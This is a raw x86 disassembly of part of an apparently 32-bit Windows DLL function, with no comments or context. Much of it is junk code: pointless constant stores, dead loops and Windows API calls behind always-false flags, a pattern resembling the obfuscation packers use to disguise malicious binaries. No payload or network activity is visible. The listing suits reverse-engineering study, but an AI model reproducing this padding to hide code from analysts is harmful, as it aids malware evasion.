mov dword [ebp - 0xb84], ecx
xor ebx, ebx
mov dword [ebp - 0xb80], ecx
inc ebx
mov dword [ebp - 0xb7c], ecx
mov dword [ebp - 0xb78], ecx
mov dword [ebp - 0x28], 0x74dd0324
mov dword [ebp - 0x18], 0xfffffffb
mov dword [ebp - 0x2c], 0x9aaed6b6
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10031aed
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x3ec], 0xec3
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10031ad5
xor eax, eax
mov esi, ebx
cmp dword [ebp - 0x28], eax
jne 0x10031af6
mov esi, eax
mov eax, dword [ebp - 0x28]
xor edx, edx
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
push 6
setne dl
pop eax
cmp edx, eax
sbb eax, eax
inc eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x18]
sub edx, eax
mov eax, dword [ebp - 0x28]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setl cl
imul eax, esi, 0x5a9c
sub eax, ecx
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x28], eax
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jl 0x10031b8a
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jge 0x10031b65
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x3ec], 0
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x10031b4d
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x10031b85
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x3ec], 0
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x10031b6d
xor eax, eax
dec dword [ebp - 0x18]
jns 0x10031b45
mov dword [ebp - 0x20], 0x76820624
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x20], eax
jmp 0x10031bad
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10031baa
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
xor eax, eax
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffff5
jge 0x10031b99
mov eax, dword [ebp - 0x20]
mov ecx, 0xc4185a1f
mov eax, dword [ebp - 0x20]
push 0xfffffffffffffffd
pop edx
sub edx, eax
mov eax, dword [ebp - 0x20]
neg edx
push 2
sbb edx, edx
neg edx
cmp ecx, eax
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, edx
setl cl
sub ecx, dword [ebp - 0x20]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x10031c09
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x218], 0x342eb90d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10031bf1
xor eax, eax
mov dword [ebp - 0x24], 0xfcb50bf3
mov dword [ebp - 0x4c], 0x514faf14
mov dword [ebp - 0x34], 0xde6b786a
push 3
mov dword [ebp - 0x1c], eax
pop esi
cmp dword [ebp - 0x1c], esi
jge 0x10031c41
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x19c], 0xa8eac8b1
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10031c29
xor eax, eax
push 4
mov dword [ebp - 0x1c], eax
pop edx
cmp dword [ebp - 0x1c], edx
jge 0x10031c60
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1410], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x10031c4c
xor eax, eax
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x24], eax
jl 0x10031d84
mov dword [ebp - 0x4c], 0x96e6c8ca
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x18], eax
jmp 0x10031c8c
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xc40], 0x668451f1
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10031c7b
mov eax, dword [ebp - 0x24]
xor ebx, ebx
mov ecx, dword [ebp + eax*4 - 0x19c]
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x19c], ecx
mov ecx, 0xfffe
mov eax, dword [ebp - 0x24]
sub ecx, eax
mov dword [ebp - 0xc3c], ecx
mov eax, dword [ebp - 0x24]
xor eax, eax
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + eax*4 - 0x19c]
mov eax, dword [ebp - 0x4c]
cmp eax, ecx
setge bl
sub ebx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
neg ebx
sbb ebx, ebx
xor edx, edx
inc ebx
mov eax, dword [ebp + eax*4 - 0x19c]
cmp ebx, eax
mov eax, dword [ebp - 0x24]
setle dl
xor ecx, ecx
add edx, dword [ebp + eax*4 - 0x19c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x19c]
cmp edx, eax
setle cl
xor eax, eax
imul ecx, dword [ebp - 0x19c]
mov dword [ebp - 0x4c], ecx
cmp dword [ebp - 0x4c], eax
je 0x10031d1c
mov eax, dword [ebp - 0x198]
mov eax, dword [ebp - 0x24]
push 0xfffffffffffffff9
pop ecx
mov eax, dword [ebp + eax*4 - 0x19c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x19c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x19c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x19c]
mov eax, dword [ebp - 0x198]
sub ecx, eax
mov eax, dword [ebp - 0xc40]
add eax, ecx
jne 0x10031d6d
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0x19c], 0
jne 0x10031d6d
xor ebx, ebx
xor eax, eax
inc ebx
jmp 0x10031d72
xor ebx, ebx
inc ebx
mov eax, ebx
mov dword [ebp - 0x3c], eax
dec dword [ebp - 0x24]
push 0
pop eax
jns 0x10031c6c
push 2
pop ecx
mov dword [ebp - 0x24], eax
mov edx, 0xfffa
jmp 0x10031dcf
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x34], 0xf5ee8790
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10031dc9
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xda4], 6
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10031db1
xor eax, eax
inc dword [ebp - 0x4c]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jle 0x10031d8e
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x10031df4
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x111c], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10031ddc
xor eax, eax
push 0xfffffffffffffff8
mov dword [ebp - 0x44], 0xfffffff6
mov dword [ebp - 0x44], 0x12
pop edx
jmp 0x10031e4c
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x10031e27
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x318], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10031e0f
xor eax, eax
mov dword [ebp - 0x314], 0xffffffef
jmp 0x10031e41
cmp dword [ebp - 0x318], eax
jne 0x10031e49
inc dword [ebp - 0x314]
cmp dword [ebp - 0x314], edx
jle 0x10031e33
dec dword [ebp - 0x44]
cmp dword [ebp - 0x44], edx
jg 0x10031e07
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10031e65
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
push 2
xor eax, eax
pop ecx
mov dword [ebp - 0x14], ebx
mov edx, 0xfff7
cmp dword [ebp - 0x14], eax
jl 0x10033006
mov edi, dword [sym.imp.KERNEL32.dll_LoadResource]
push 0xfffffffffffffff9
pop ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x18], 0xa147b80b
mov dword [ebp - 0x3c], 0xf7e4
mov dword [ebp - 0x5c], 0x796a0b59
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x10031eb3
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xa18], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10031e9f
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x10031ec9
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x164], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10031eb8
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x18], eax
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x10031ee5
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x10031ee7
mov eax, ebx
mov esi, dword [ebp - 0x30]
cmp edx, eax
mov dword [ebp - 0xa10], esi
mov eax, dword [ebp - 0x30]
sbb ecx, ecx
neg ecx
xor edx, edx
cmp ecx, eax
setg dl
xor eax, eax
cmp esi, edx
setne al
mov dword [ebp - 0x164], eax
xor eax, eax
cmp dword [ebp - 0x164], eax
je 0x10031f37
cmp dword [ebp - 0x3c], eax
je 0x10031f25
mov eax, dword [ebp - 0xa14]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x164]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0xa10]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x164], eax
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x18], 0xd
cmp dword [ebp - 0x18], 5
jle 0x10031f99
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10031f7f
push eax
push 0x218f
push 0x1fe
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10031f90
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 5
jg 0x10031f55
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], al
je 0x10031fb3
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRgn]
xor eax, eax
mov dword [ebp - 0x64], 0x2ff18c9a
mov dword [ebp - 0x24], 0xfcb50bf3
mov dword [ebp - 0x4c], 0x514faf14
mov dword [ebp - 0x34], 0xde6b786a
push 3
mov dword [ebp - 0x1c], eax
pop esi
cmp dword [ebp - 0x1c], esi
jge 0x10031ff2
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x180], 0xa8eac8b1
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10031fda
xor eax, eax
push 4
mov dword [ebp - 0x1c], eax
pop edx
cmp dword [ebp - 0x1c], edx
jge 0x10032011
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1450], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x10031ffd
xor eax, eax
push 2
pop ecx
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x24], eax
jl 0x1003213b
mov dword [ebp - 0x4c], 0x96e6c8ca
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x18], eax
jmp 0x10032040
mov dword [ebp - 0x24], eax
jmp 0x10032185
mov dword [ebp - 0x14], 0x13638ecf
mov edx, 0xdcda7209
mov dword [ebp - 0xb24], edx
mov dword [ebp - 0xb20], edx
mov dword [ebp - 0xb1c], edx
mov dword [ebp - 0xb18], edx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x1003304a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x2a4], 0x342eb90d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10033032
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1003306a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1074], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10033052
xor eax, eax
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], eax
jl 0x10033140
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x3c], 0x2ff18c9a
mov dword [ebp - 0x20], eax
jmp 0x1003312e
mov dword [ebp - 0x1c], 0x1a9565e0
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jg 0x100330ae
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x2a4], 0
jne 0x100330ac
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x10033097
xor eax, eax
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], eax
jl 0x1003312b
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x2a4], 0
je 0x100330e1
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x2a4]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x2a4]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x2a4]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x2a4]
mov dword [ebp - 0x106c], 0xfffffff9
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x2a4]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0xb20], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10033124
push 0xe65
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
dec dword [ebp - 0x1c]
jns 0x100330b6
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jle 0x10033088
dec dword [ebp - 0x14]
jns 0x10033076
mov dword [ebp - 0x18], 0xe0cf
or edx, 0xffffffff
mov dword [ebp - 0x7c], edx
mov ecx, 0x7a429adb
mov dword [ebp - 0x78], edx
mov dword [ebp - 0x74], edx
mov dword [ebp - 0x70], edx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x3c], 0xa79cc099
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x34], edx
inc dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x19
je 0x100331de
jmp 0x1003317b
xor eax, eax
mov dword [ebp - 0x34], 4
mov dword [ebp - 0x34], 0x5cc48b16
mov dword [ebp - 0x48], 0x5da2
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x78], ecx
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x14], eax
jmp 0x100331b5
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xfcc], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x100331a4
dec dword [ebp - 0x48]
xor ecx, ecx
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0xfc8]
cmp eax, ebx
setl cl
mov dword [ebp - 0x3c], ecx
mov ecx, 0x7a429adb
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x19
jne 0x10033179
mov dword [ebp - 0x18], 0xfffffff6
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x18], 0xffffffef
cmp dword [ebp - 0x18], 0x1c
je 0x10033280
push 4
xor eax, eax
pop ecx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x1003321d
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1430], edx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10033209
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1003323d
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x168], 0xcb03629a
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10033225
xor eax, eax
mov dword [ebp - 0x168], esi
cmp dword [ebp - 0x168], eax
jl 0x10033277
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10033269
push 0x2c8
push 0x2366
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
xor eax, eax
dec dword [ebp - 0x168]
jns 0x1003324b
push 4
or edx, 0xffffffff
pop ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x1c
jne 0x10033201
mov dword [ebp - 0x14], 0x13638ecf
mov eax, 0xdcda7209
mov dword [ebp - 0xbc4], eax
mov dword [ebp - 0xbc0], eax
mov dword [ebp - 0xbbc], eax
mov dword [ebp - 0xbb8], eax
xor eax, eax
push 2
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x100332c9
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x224], 0x342eb90d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x100332b1
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x100332e5
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x10d4], edx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x100332d1
xor eax, eax
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], eax
jl 0x100333bb
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x3c], 0x2ff18c9a
mov dword [ebp - 0x20], eax
jmp 0x100333a9
mov dword [ebp - 0x1c], 0x1a9565e0
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jg 0x10033329
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x224], 0
jne 0x10033327
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], eax
jl 0x100333a6
cmp dword [ebp - 0x20], ebx
jle 0x10033303
dec dword [ebp - 0x14]
jns 0x100332f1
mov dword [ebp - 0x18], 0xe0cf
mov dword [ebp - 0x7c], 0xffffffff
mov dword [ebp - 0x78], 0xffffffff
mov dword [ebp - 0x74], 0xffffffff
mov dword [ebp - 0x70], 0xffffffff
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x3c], 0xa79cc099
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x34], 0xffffffff
inc dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x19
push 4
pop edx
je 0x1003346c
jmp 0x1003340d
mov dword [ebp - 0x34], edx
mov ecx, 0x7a429adb
mov dword [ebp - 0x34], 0x5cc48b16
mov dword [ebp - 0x48], 0x5da2
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x78], ecx
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x14], eax
jmp 0x10033448
cmp dword [ebp - 0x14], esi
jl 0x10033437
mov dword [ebp - 0x18], 0xfffffff6
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x18], 0xffffffef
cmp dword [ebp - 0x18], 0x1c
je 0x1003350c
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edx
jge 0x100334ac
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1470], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x10033494
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x100334cc
xor eax, eax
mov dword [ebp - 0x14], 5
push 2
mov dword [ebp - 0x1c], eax
pop edx
cmp dword [ebp - 0x1c], edx
jge 0x10033539
mov ecx, 0xffff
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1158], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x10033525
push 4
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x1003355c